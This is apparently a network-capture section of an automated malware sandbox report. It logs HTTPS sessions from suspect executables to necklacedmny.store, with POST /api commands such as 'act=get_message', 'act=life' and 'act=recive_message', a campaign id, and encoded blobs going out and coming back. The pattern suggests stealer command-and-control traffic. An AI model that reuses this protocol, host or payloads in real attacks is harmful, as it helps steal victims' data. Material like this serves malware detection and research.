2024-10-31 03:15:05 UTC	15331	OUT	Data Raw: da 4c 44 86 70 73 6f be 0e 7a 4e ab 78 52 34 ef 02 b9 3c 26 33 f3 74 c5 38 b1 5e ba 50 c4 4b c0 e6 62 be e3 73 b7 c0 53 c1 20 da 37 32 2c 5e 0d 75 01 4a c0 d8 73 1a 77 ff 05 d6 54 75 cf 7e aa bb 6b 95 c3 91 e0 e0 2e dc 60 81 68 96 ca ca 94 62 cc 2a d7 45 c5 12 02 9b ff 8c dc 3c 3b 7b bc 31 39 fe c3 be 9e 03 5e 2b dc df 99 ad c3 09 ec 1f 2c 26 77 e7 9f 64 cb 3e df 66 91 b8 4b 7f fa 6e 3c c3 c9 a4 f6 d1 56 ba 9a 7f a7 41 63 8a 77 76 32 c6 a9 7f 9a c1 e3 51 84 5e 79 89 9d e7 fd 67 7e c6 69 9f 31 d7 6b a0 bc 76 b7 d8 6b 59 0e 8a de 3b 11 91 0d 6a f8 78 ab ef a3 cc 79 76 7d c3 39 e4 bd 1f 64 05 fe 7d 60 28 44 ea 17 22 a6 a1 ef fd 6e 1d b9 e6 58 81 83 bb 9c cf 6a f2 c5 12 e6 5b 8a 6f 4e 4f df 99 78 b8 aa 26 51 53 9a 9a 62 f5 a3 d9 8a 7b 52 00 05 41 17 3c f8 db Data Ascii: LDpsozNxR4<&3t8^PKbsS 72,^uJswTu~k.`hb*E<;{19^+,&wd>fKn<VAcwv2Q^yg~i1kvkY;jxyv}9d}`(D"nXj[oNOx&QSb{RA<
2024-10-31 03:15:05 UTC	15331	OUT	Data Raw: c2 e9 d5 6b 03 e9 55 87 23 c3 27 d4 3e 37 55 de 91 d8 d3 92 6f 59 d1 72 9c 2c 0c d4 0f b6 f9 ed 4f 09 16 42 9d 9f 30 b6 49 63 b0 5b 0f 10 0c eb 42 bc c5 4d fc ae e1 41 94 28 3d 34 8c 3e 0f e0 48 46 55 f2 b5 cb c0 f8 18 94 7e 5f 93 10 47 5f 39 77 e9 fa 16 51 3a a9 10 37 19 44 ff 3f 15 f2 ff 7f 48 b6 05 49 87 c5 3c b6 02 e6 9d 78 f0 01 6d ad 8a 7c af 33 76 61 04 b3 07 6c e3 b4 ea 68 32 fb 3b bb ac 7c 31 40 52 e6 2e 20 92 95 2f 39 ba c4 6e 98 8f 18 a1 23 78 b4 2c f7 af ee ca 83 94 e5 23 07 9c e6 96 b2 25 fe 5c af 41 24 97 24 f3 09 44 6f e1 90 63 a5 7b 04 98 dd f7 5c ed 05 f1 7d 30 26 a0 bb 57 98 2c 1d 16 24 b7 56 b0 cf b8 1c 17 08 01 6f 4b 22 ab 68 a5 7f cb b9 9d 9e 94 23 7e a7 bb 76 50 6a c3 63 00 31 34 8d c1 dd b8 c7 8d ea b6 58 00 08 e9 b7 da ef b9 a6 e0 Data Ascii: kU#'>7UoYr,OB0Ic[BMA(=4>HFU~_G_9wQ:7D?HI<xm\|3valh2;\|1@R. /9n#x,#%\A$$Doc{\}0&W,$VoK"h#~vPjc14X
2024-10-31 03:15:05 UTC	15331	OUT	Data Raw: f3 35 8b 8d 13 ea ad 0a d8 88 92 0d 93 b1 ea 3f 8e 6a eb b1 2c 46 e5 f7 d0 ff 38 d7 54 f7 ec 27 81 1f 6d 66 b5 2e 3f 56 9d 82 8b f5 e1 07 1e cd d6 b2 b4 c1 1c c4 58 93 1f eb 62 6d 81 31 31 5b 13 82 20 de 65 91 25 e5 89 b1 10 ca 80 c6 cc 50 84 99 5a 6b f3 9a 15 68 b2 d1 48 0d 4f 46 e3 cb 96 08 c6 46 e8 95 c0 33 01 69 2f a7 0d a4 59 c5 f3 4e bf 9e 2e 6f 19 17 42 de ef e1 36 d3 50 bf 34 0f 74 89 9a 91 df ea 8d 1b e6 78 f0 ae e8 9f 13 35 8e 3b ad 07 ca 01 2f e0 c5 2c f7 07 4b 0e fc f6 cb 36 48 26 25 05 9b 2c 73 57 0c 4a 7e a1 a7 53 56 7b c6 d9 8a 54 91 02 17 23 79 90 96 3a ed a2 58 79 7c 5b 3a 02 46 b2 b6 39 c9 b1 74 2b 7c 93 4e 48 c6 8f c4 24 e7 36 63 e3 da ca b6 14 72 ad 6e 0b 3e ca 7d a6 e7 49 88 0d 7e 82 b9 2d e9 92 8e 8e 3c b2 9c c8 74 47 50 1c ca ea 0c Data Ascii: 5?j,F8T'mf.?VXbm11[ e%PZkhHOFF3i/YN.oB6P4tx5;/,K6H&%,sWJ~SV{T#y:Xy\|[:F9t+\|NH$6crn>}I~-<tGP
2024-10-31 03:15:05 UTC	15331	OUT	Data Raw: e7 f1 0b 88 ea 96 07 cd 87 20 6f 7a 1e d8 46 7c 98 6e 3c 98 be 43 14 16 03 48 75 a9 87 45 51 76 c0 35 b3 e6 8e fa 51 fe 82 ec 15 45 11 68 0e b3 fd fb 64 f4 e1 e9 c4 5b 94 58 4a 5b 68 d5 bd 99 bb 7b 6a 32 84 89 f1 5c bb f5 b4 da ba a4 65 0b 48 c1 99 5e 32 f4 34 8f 1c 8f c9 31 49 62 89 88 f5 b3 6e bd 4c 6f 66 75 f4 85 3d e0 d1 1c cf 41 ca 01 62 9a 32 e4 21 d2 fc 68 53 6f be df 9a b7 60 ba 29 92 89 04 69 24 97 2f e1 a7 73 0b 13 7b 1e 60 dd 04 6c 32 e9 0a 4a 12 b7 09 fd 12 87 ff 24 f7 6e 9c 02 d9 73 64 91 08 57 e5 58 2c 8c 09 4a 66 3d d5 42 b7 a1 8c ec d9 0f b5 76 7b a9 60 c3 ec d8 19 82 64 eb b5 70 45 87 f0 28 18 85 f3 08 8a 45 47 c4 90 93 6f 2c ed 03 af 3b 5a 8d 0c c2 43 a6 f8 ea 8f 8d d5 0e 66 c2 89 0c 0b e7 ca 14 a1 6c 21 47 6c c4 60 16 09 11 47 c4 6f c6 Data Ascii: ozF\|n<CHuEQv5QEhd[XJ[h{j2\eH^241IbnLofu=Ab2!hSo`)i$/s{`l2J$nsdWX,Jf=Bv{`dpE(EGo,;ZCfl!Gl`Go
2024-10-31 03:15:05 UTC	15331	OUT	Data Raw: 05 4a 63 e1 44 83 c2 98 10 c5 a9 92 bf 08 d6 52 3c 8f 88 f6 e0 87 66 03 de be e1 fb 73 0d d7 ff 1e 53 30 3c a8 69 96 37 fd 57 39 0d fd b0 8c a5 01 3e 10 74 cc 1b ce ae 14 a8 23 8a 60 c2 62 92 c7 f4 ba 15 ad aa b4 18 12 56 f3 bc 25 f2 bc fd bc 9e 68 ea 53 89 6b 69 34 75 4a 4a 24 15 8e d4 35 3f c1 a3 d7 84 76 3d 54 f3 26 5c 37 de fc 37 ae 74 bd c9 11 76 d5 86 88 e9 4c b0 98 c3 ba 74 1d fb 6a c9 a5 c6 1e 22 92 62 75 6c fa 68 b9 b1 ef 56 17 ad b3 e8 45 3b a2 c7 95 6e 26 21 c8 c6 fa 36 66 8a 14 25 9a 8b 63 68 61 a2 e8 47 d1 c1 a3 1b d9 5e 75 b7 df c1 36 ee c2 a2 88 e9 59 92 1c 5a eb 03 a6 21 53 0a 10 8f b6 db 07 d8 e0 92 93 08 3a 15 1c 14 76 1d 23 6c 90 6c 10 3c f5 54 ad fe 50 1c 23 a9 2b 9a ea 2f 28 0a 24 99 fa 0c a5 01 6a 44 0d 05 c0 0f ab 17 34 12 41 a8 14 Data Ascii: JcDR<fsS0<i7W9>t#`bV%hSki4uJJ$5?v=T&\77tvLtj"bulhVE;n&!6f%chaG^u6YZ!S:v#ll<TP#+/($jD4A
2024-10-31 03:15:05 UTC	15331	OUT	Data Raw: c9 e8 b2 85 a9 67 70 14 2f fc 87 c3 00 7c 1e 61 ce c8 e6 f5 25 6b d5 ea 52 42 34 b0 51 ad 45 c1 65 f6 7d 33 f9 e6 e5 18 05 2a 8a f6 2e 95 2a 0e 65 78 21 d7 97 9c 0d ba 09 8e c2 33 bd 40 de ad 21 f4 20 31 43 6f fb c7 38 2f a4 75 68 58 63 d4 30 37 fc 0c a0 bd e9 65 aa f5 a4 b4 ed 66 8f c6 b0 00 d3 8c f9 78 1f 1d d8 00 1d 88 f2 f7 df 52 1f cb fa 69 7d 31 02 15 16 66 07 bd 08 00 37 fe 8a 6b 05 97 67 a5 bc e8 9e 28 3e 90 fa d7 50 2e dd 18 61 78 2c b2 67 3e f7 13 31 3a bc 77 35 97 e5 f9 ac c0 c4 da 10 ac 15 9f fb 2d 03 cf bd d4 05 b5 5b 62 2e a8 91 80 a2 ac 19 3f c5 2f 49 2e 55 3c b8 78 d3 37 6b 35 8a 91 14 8a 54 5b 15 ae f1 99 3c 9d f9 dd be 2f fc 9f f7 4c 94 8a de 5c 43 a8 f6 85 7d 5a 40 87 ff fb f1 79 6b 0c d1 a0 07 57 93 a6 a9 77 81 75 d3 fd 3d a5 c0 33 fc Data Ascii: gp/\|a%kRB4QEe}3.ex!3@! 1Co8/uhXc07efxRi}1f7kg(>P.ax,g>1:w5-[b.?/I.U<x7k5T[</L\C}Z@ykWwu=3
2024-10-31 03:15:05 UTC	15331	OUT	Data Raw: 78 e5 35 7e a0 f2 7d 21 79 76 60 22 e1 f2 9e 05 e2 c1 80 a0 31 d7 cf 2b 59 d1 4d 47 06 d7 8a dc db a6 77 e4 ff e7 66 d6 30 58 c8 7e 3b fb 1b 63 f6 6b 30 90 b1 d4 13 1f 59 16 7b 63 63 e5 5a 4f a7 71 f9 e4 72 fa ec c7 a1 c0 bd 01 01 73 bb cd 5c af 2c e8 7a 7d 6d d3 ea f9 6e 9e f4 72 7b 7e 2a d7 b5 3c 60 7c 4f cf 42 ca c6 95 d5 2d 57 95 5a d6 1f e3 26 b3 fb 33 1e 9c a6 f1 32 f8 d8 62 c8 61 09 e4 95 e2 83 07 35 2e 80 42 bd 60 ab 1d 10 c4 0d ce fe 2b 87 19 27 8c 3c 05 41 34 1e b8 73 b1 7b a9 15 ef 79 40 0d 6a fc 1d 16 28 79 08 0e 4e 1f c7 59 ef 9b 6f 2b 95 42 38 c4 89 de fb 71 e9 71 51 14 4a 87 f1 4d a1 1e 2d 32 21 ee 43 c2 71 98 16 4e 15 47 6f a6 1c b9 6f aa ec 4d 62 b4 76 79 33 fc d4 c4 43 1d 9b ae 27 7c e4 7c 85 15 f0 3a 34 1e 98 28 6f 1f ed 44 2e cb ee 9c Data Ascii: x5~}!yv`"1+YMGwf0X~;ck0Y{ccZOqrs\,z}mnr{~*<`\|OB-WZ&32ba5.B`+'<A4s{y@j(yNYo+B8qqQJM-2!CqNGooMbvy3C'\|\|:4(oD.
2024-10-31 03:15:08 UTC	1019	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 03:15:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=obaobp6fi61ql910qdre6gquua; expires=Sun, 23-Feb-2025 21:01:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Uh6ylQkApU8BnvSFBhBEWaGMncAqaD1n3ZlCixqWibHAgpFAMaHuahyp5Jt%2FU23E6evOmXpZVIb0u0bIc04xBFxJ0oZPUSdoSws1FPThE4E4qfJO4V9gwA%2F7teXSXGPI7drxIpw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db07a8509820bcf-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2370&sent=255&recv=617&lost=0&retrans=0&sent_bytes=2846&recv_bytes=588478&delivery_rate=1244520&cwnd=236&unsent_bytes=0&cid=3d194cc520d382dd&ts=3443&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49737	188.114.97.3	443	7492	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 03:15:09 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-10-31 03:15:09 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 36 32 33 46 33 41 33 43 42 33 39 30 44 33 31 30 38 41 31 34 45 44 36 33 37 31 32 41 38 44 43 32 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=623F3A3CB390D3108A14ED63712A8DC2
2024-10-31 03:15:09 UTC	1021	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 03:15:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=c1cq82ftt29rcsqdvlftvf9u6v; expires=Sun, 23-Feb-2025 21:01:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sKXbWfSYp3WK5MNkoYNIbhGsCm2VgfPZHJu%2F2ZtCs5SQnIYiHJGLrAVwfBwMDYICVxDz%2F1K3X%2F%2FsdPiduF6Xa8coISXh%2BDPhMj5u3UWQmjCRve1enZ%2FG7JHatud8bGdCxTKzq%2FM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db07a9e3852e552-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1366&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2846&recv_bytes=989&delivery_rate=2124724&cwnd=250&unsent_bytes=0&cid=98348804c0abd3fd&ts=463&x=0"
2024-10-31 03:15:09 UTC	214	IN	Data Raw: 64 30 0d 0a 34 72 62 4c 54 79 48 49 65 54 31 36 70 53 71 4e 6f 47 64 6b 4a 6b 62 79 37 65 55 69 4a 6d 30 31 48 77 36 66 6f 73 4d 6f 52 62 75 35 7a 65 6b 36 41 2f 4a 62 56 51 37 52 57 72 66 38 53 44 67 4a 64 38 72 59 79 78 41 58 57 42 73 75 50 36 79 4d 38 68 34 5a 6c 49 33 51 72 52 4d 4f 72 42 78 62 56 4d 42 53 36 49 4a 4c 52 6b 41 79 30 4e 66 56 44 67 51 49 46 79 55 2b 34 6f 36 34 43 6a 43 5a 32 4a 53 6a 4f 31 57 34 51 32 46 56 2b 51 57 38 6d 46 4a 4b 46 48 66 48 77 39 51 54 46 55 4d 45 4b 56 4b 77 7a 36 70 47 49 4f 66 4e 78 4b 6f 68 52 61 63 55 45 78 2f 64 54 36 2b 4d 52 51 4a 53 5a 4d 6a 64 79 51 42 44 54 77 38 76 63 38 49 3d 0d 0a Data Ascii: d04rbLTyHIeT16pSqNoGdkJkby7eUiJm01Hw6fosMoRbu5zek6A/JbVQ7RWrf8SDgJd8rYyxAXWBsuP6yM8h4ZlI3QrRMOrBxbVMBS6IJLRkAy0NfVDgQIFyU+4o64CjCZ2JSjO1W4Q2FV+QW8mFJKFHfHw9QTFUMEKVKwz6pGIOfNxKohRacUEx/dT6+MRQJSZMjdyQBDTw8vc8I=
2024-10-31 03:15:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49843	188.114.97.3	443	7516	C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 03:16:13 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-31 03:16:13 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-31 03:16:14 UTC	1021	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 03:16:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=dscv3gmoudlslam5ttsc2vvrvj; expires=Sun, 23-Feb-2025 21:02:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8njaFCyTxXmvvaN74Zs%2Bi6zUdupdeX%2FFbXoqXhnfKj%2F3OGp8y%2FHxeO44kZ%2FDJlSj9qv9chOLZU7oXaADe9rVDXtR8HqmVhxBqYdLQZH2RwX%2BWfT%2FnmNfuHXM0kOsDVXwJv2GkQ0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db07c321d832cd9-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2120&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=909&delivery_rate=1288256&cwnd=248&unsent_bytes=0&cid=c6e91ced789eccb7&ts=549&x=0"
2024-10-31 03:16:14 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-31 03:16:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49852	188.114.97.3	443	7516	C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 03:16:14 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-31 03:16:14 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-31 03:16:15 UTC	1011	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 03:16:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rkeigtekpg2q1dpkp34adf1tsd; expires=Sun, 23-Feb-2025 21:02:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3hTBwATO598QzNGX9vaDb3RpmP1orhxiu7%2BlbrRq9MJdfIt1E1R53b3hb7hx%2BsXqer1AveWcGOllvtCyv2AEhqJKShGsGdHpKTgHnMT9cC6zQ1Qifm9Of44UfSiYJa8sT59eyWw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db07c391bdde5ea-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1208&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=954&delivery_rate=2327974&cwnd=251&unsent_bytes=0&cid=859c86019051f0c0&ts=492&x=0"
2024-10-31 03:16:15 UTC	358	IN	Data Raw: 34 64 66 0d 0a 42 39 50 42 38 32 34 57 2f 6a 2f 50 33 6f 4b 55 73 48 41 39 68 57 2b 59 4f 58 45 39 66 58 64 30 4b 6e 6a 6e 61 44 68 2b 44 49 5a 38 38 62 66 52 56 43 4c 53 48 62 79 37 6f 4b 37 45 41 6b 6a 67 51 37 70 59 46 52 39 48 45 52 56 47 43 34 4a 45 47 67 68 68 70 44 32 31 6f 4a 38 64 63 39 49 64 71 71 61 67 72 75 73 4c 48 2b 41 42 75 67 4e 54 57 42 63 56 46 55 59 61 68 67 4e 58 44 6d 44 6c 62 37 2b 6d 6d 77 74 31 6d 6c 36 6a 73 2b 66 78 31 52 46 58 36 77 62 31 55 52 77 66 55 56 55 52 55 46 72 64 53 6e 55 62 65 4f 64 4b 73 72 4b 59 54 47 76 53 52 4f 32 37 37 4c 61 4b 55 6c 7a 67 44 66 52 66 46 56 59 56 48 78 78 4f 47 34 4d 43 53 42 64 71 37 6d 2b 78 70 5a 6f 42 66 49 35 54 71 62 54 73 39 39 38 52 48 36 6c 4e 2f 55 4e 54 42 31 39 47 4a 45 73 4c 6c 42 Data Ascii: 4dfB9PB824W/j/P3oKUsHA9hW+YOXE9fXd0KnjnaDh+DIZ88bfRVCLSHby7oK7EAkjgQ7pYFR9HERVGC4JEGghhpD21oJ8dc9IdqqagrusLH+ABugNTWBcVFUYahgNXDmDlb7+mmwt1ml6js+fx1RFX6wb1URwfUVURUFrdSnUbeOdKsrKYTGvSRO277LaKUlzgDfRfFVYVHxxOG4MCSBdq7m+xpZoBfI5TqbTs998RH6lN/UNTB19GJEsLlB
2024-10-31 03:16:15 UTC	896	IN	Data Raw: 62 66 72 38 38 41 5a 56 75 6f 41 2b 6c 59 5a 55 42 77 56 45 55 49 51 69 67 42 65 45 57 50 69 5a 62 48 6a 33 30 78 7a 68 42 33 31 2f 4d 50 7a 77 68 56 54 38 55 2f 41 47 77 77 52 42 6c 55 52 52 46 72 64 53 6c 49 5a 62 65 64 75 76 71 43 5a 42 32 61 63 54 36 75 78 35 65 54 55 46 31 48 74 44 75 68 52 48 56 6b 63 48 42 31 42 48 34 49 4f 47 6c 49 75 34 33 33 78 2b 39 45 74 65 5a 64 52 70 36 76 67 74 73 31 63 52 71 63 4b 39 68 74 4c 48 78 73 55 45 6b 6b 65 69 77 52 65 45 47 6a 71 61 4c 36 6c 6d 77 78 7a 6c 6c 57 6c 76 65 33 39 33 52 4a 61 36 67 6e 38 56 78 4a 61 58 31 74 57 54 77 4c 46 55 68 6f 79 61 65 64 33 38 35 61 53 41 6e 71 62 53 2b 32 6a 72 75 2b 53 46 56 4f 6e 56 62 70 56 46 6c 41 4e 46 41 52 4e 46 4a 63 47 58 78 70 6a 35 32 75 78 70 70 59 42 65 70 70 61 Data Ascii: bfr88AZVuoA+lYZUBwVEUIQigBeEWPiZbHj30xzhB31/MPzwhVT8U/AGwwRBlURRFrdSlIZbeduvqCZB2acT6ux5eTUF1HtDuhRHVkcHB1BH4IOGlIu433x+9EteZdRp6vgts1cRqcK9htLHxsUEkkeiwReEGjqaL6lmwxzllWlve393RJa6gn8VxJaX1tWTwLFUhoyaed385aSAnqbS+2jru+SFVOnVbpVFlANFARNFJcGXxpj52uxppYBeppa
2024-10-31 03:16:15 UTC	1369	IN	Data Raw: 33 66 38 64 0d 0a 55 70 4c 58 79 2f 4e 34 63 54 65 6f 48 2f 31 55 66 57 68 41 56 46 30 6b 55 6a 77 45 61 55 69 37 6a 66 66 48 37 30 53 4e 35 6a 45 2b 6e 74 2f 47 30 35 78 46 52 36 51 72 73 47 77 77 52 42 6c 55 52 52 46 72 64 53 6c 45 61 59 75 68 6c 74 37 47 66 41 32 61 57 54 36 6d 79 35 50 72 63 47 31 4c 6f 43 4f 68 66 45 30 30 65 45 42 46 47 46 35 63 50 47 6c 49 75 34 33 33 78 2b 39 45 32 51 4a 74 4e 76 4c 75 69 77 39 45 63 55 65 41 62 75 6b 52 64 52 6c 38 53 47 67 68 43 78 51 6c 57 45 57 66 68 61 71 4f 70 6e 51 31 6d 6d 31 53 6b 74 75 48 34 33 52 6c 54 34 68 2f 78 56 42 74 51 48 68 67 62 51 78 36 46 53 68 52 63 61 66 77 6c 36 65 4f 77 41 58 75 4f 58 72 7a 2b 31 66 58 63 48 46 6a 78 54 65 55 56 43 68 38 59 47 56 59 51 57 6f 51 47 56 68 31 68 34 6d 2b 35 Data Ascii: 3f8dUpLXy/N4cTeoH/1UfWhAVF0kUjwEaUi7jffH70SN5jE+nt/G05xFR6QrsGwwRBlURRFrdSlEaYuhlt7GfA2aWT6my5PrcG1LoCOhfE00eEBFGF5cPGlIu433x+9E2QJtNvLuiw9EcUeAbukRdRl8SGghCxQlWEWfhaqOpnQ1mm1SktuH43RlT4h/xVBtQHhgbQx6FShRcafwl6eOwAXuOXrz+1fXcHFjxTeUVCh8YGVYQWoQGVh1h4m+5
2024-10-31 03:16:15 UTC	1369	IN	Data Raw: 43 59 58 61 43 33 37 76 6a 62 48 6c 66 72 43 75 68 57 46 6c 63 56 48 42 4e 45 46 34 59 59 57 52 30 75 71 69 57 32 75 39 46 55 4e 4c 74 75 6d 70 2b 67 36 5a 77 4c 48 2b 41 42 75 67 4e 54 58 68 63 53 47 45 77 49 69 78 68 55 47 32 37 69 62 62 6d 6b 6e 51 4a 36 6a 6c 57 73 76 4f 37 35 32 68 74 62 35 67 6e 2b 56 78 51 66 55 56 55 52 55 46 72 64 53 6e 49 66 64 50 34 6e 6e 36 69 52 43 32 53 4b 52 75 32 6a 72 75 2b 53 46 56 4f 6e 56 62 70 66 47 46 55 57 46 68 39 4d 46 34 55 44 56 52 56 6d 36 57 32 6a 6f 70 73 65 63 4a 6c 63 6f 72 62 6b 2f 74 34 64 55 2b 4d 66 38 52 74 64 48 78 67 4e 56 68 42 61 70 51 46 4d 50 33 7a 32 4a 61 37 74 69 45 78 7a 6b 42 33 31 2f 4f 6e 36 30 78 4e 56 34 51 62 2f 56 68 4e 61 46 52 49 61 53 42 71 47 44 46 77 52 5a 75 78 70 76 61 43 63 43 Data Ascii: CYXaC37vjbHlfrCuhWFlcVHBNEF4YYWR0uqiW2u9FUNLtump+g6ZwLH+ABugNTXhcSGEwIixhUG27ibbmknQJ6jlWsvO752htb5gn+VxQfUVURUFrdSnIfdP4nn6iRC2SKRu2jru+SFVOnVbpfGFUWFh9MF4UDVRVm6W2jopsecJlcorbk/t4dU+Mf8RtdHxgNVhBapQFMP3z2Ja7tiExzkB31/On60xNV4Qb/VhNaFRIaSBqGDFwRZuxpvaCcC
2024-10-31 03:16:15 UTC	1369	IN	Data Raw: 72 73 75 48 77 33 68 38 66 71 55 33 39 51 31 4d 48 58 7a 49 4d 52 52 79 53 47 32 38 62 62 72 55 6c 72 75 32 49 54 48 4f 51 48 66 58 38 37 66 72 59 48 31 72 6a 42 66 31 59 45 6c 4d 62 47 42 74 4d 45 34 45 50 53 41 35 6f 36 6d 57 2b 72 5a 34 41 5a 70 4a 59 72 62 43 67 75 4a 49 56 52 36 64 56 75 6d 6f 45 58 31 38 4b 57 46 46 61 67 67 59 61 52 43 37 72 61 4b 4f 76 6e 67 78 31 6e 31 6d 6d 75 2b 62 77 30 78 46 61 35 41 6a 38 57 68 4e 54 46 52 49 65 51 68 53 49 44 46 34 61 61 4b 51 72 38 61 53 4a 54 43 7a 63 62 36 43 79 36 66 58 55 48 30 6e 50 50 4c 70 45 58 55 5a 66 45 68 6f 49 51 73 55 4f 55 52 52 69 34 57 32 30 6f 70 6b 47 66 4a 4e 53 76 37 33 76 2f 39 55 5a 55 75 67 44 2f 31 55 42 57 42 51 65 48 6b 45 55 67 30 6f 55 58 47 6e 38 4a 65 6e 6a 70 77 39 36 6c 30 Data Ascii: rsuHw3h8fqU39Q1MHXzIMRRySG28bbrUlru2ITHOQHfX87frYH1rjBf1YElMbGBtME4EPSA5o6mW+rZ4AZpJYrbCguJIVR6dVumoEX18KWFFaggYaRC7raKOvngx1n1mmu+bw0xFa5Aj8WhNTFRIeQhSIDF4aaKQr8aSJTCzcb6Cy6fXUH0nPPLpEXUZfEhoIQsUOURRi4W20opkGfJNSv73v/9UZUugD/1UBWBQeHkEUg0oUXGn8Jenjpw96l0
2024-10-31 03:16:15 UTC	1369	IN	Data Raw: 35 4e 4d 64 48 36 6c 4e 2f 55 4e 54 42 31 38 6b 41 45 38 64 69 6b 68 7a 47 33 58 6c 62 37 4b 6f 6e 55 78 72 30 6b 54 74 75 2b 79 32 69 6c 4a 53 36 77 44 2b 53 52 39 66 48 78 77 52 51 67 69 4b 42 56 63 66 62 75 46 33 73 4c 47 65 42 33 47 66 57 61 4b 7a 37 50 37 59 55 68 47 6e 43 75 49 62 53 78 38 7a 46 67 64 43 57 4b 49 51 54 42 74 69 39 57 36 38 72 39 45 54 4f 6f 55 64 71 72 43 67 72 70 49 53 58 75 6f 66 2f 31 6f 5a 56 52 49 64 47 55 30 66 69 67 35 65 46 32 44 32 61 37 36 6a 6c 77 64 31 6d 56 36 6d 74 75 37 2f 77 46 49 52 70 77 72 69 47 30 73 66 4e 51 34 58 52 52 62 48 4a 46 45 4b 61 61 5a 45 76 36 69 57 41 47 4c 63 51 75 4f 6c 6f 50 48 65 55 67 65 6e 42 50 52 58 45 46 67 58 48 52 4e 49 45 59 55 46 55 42 4a 70 39 6d 2b 39 71 59 4d 44 64 35 46 5a 6f 4c 62 Data 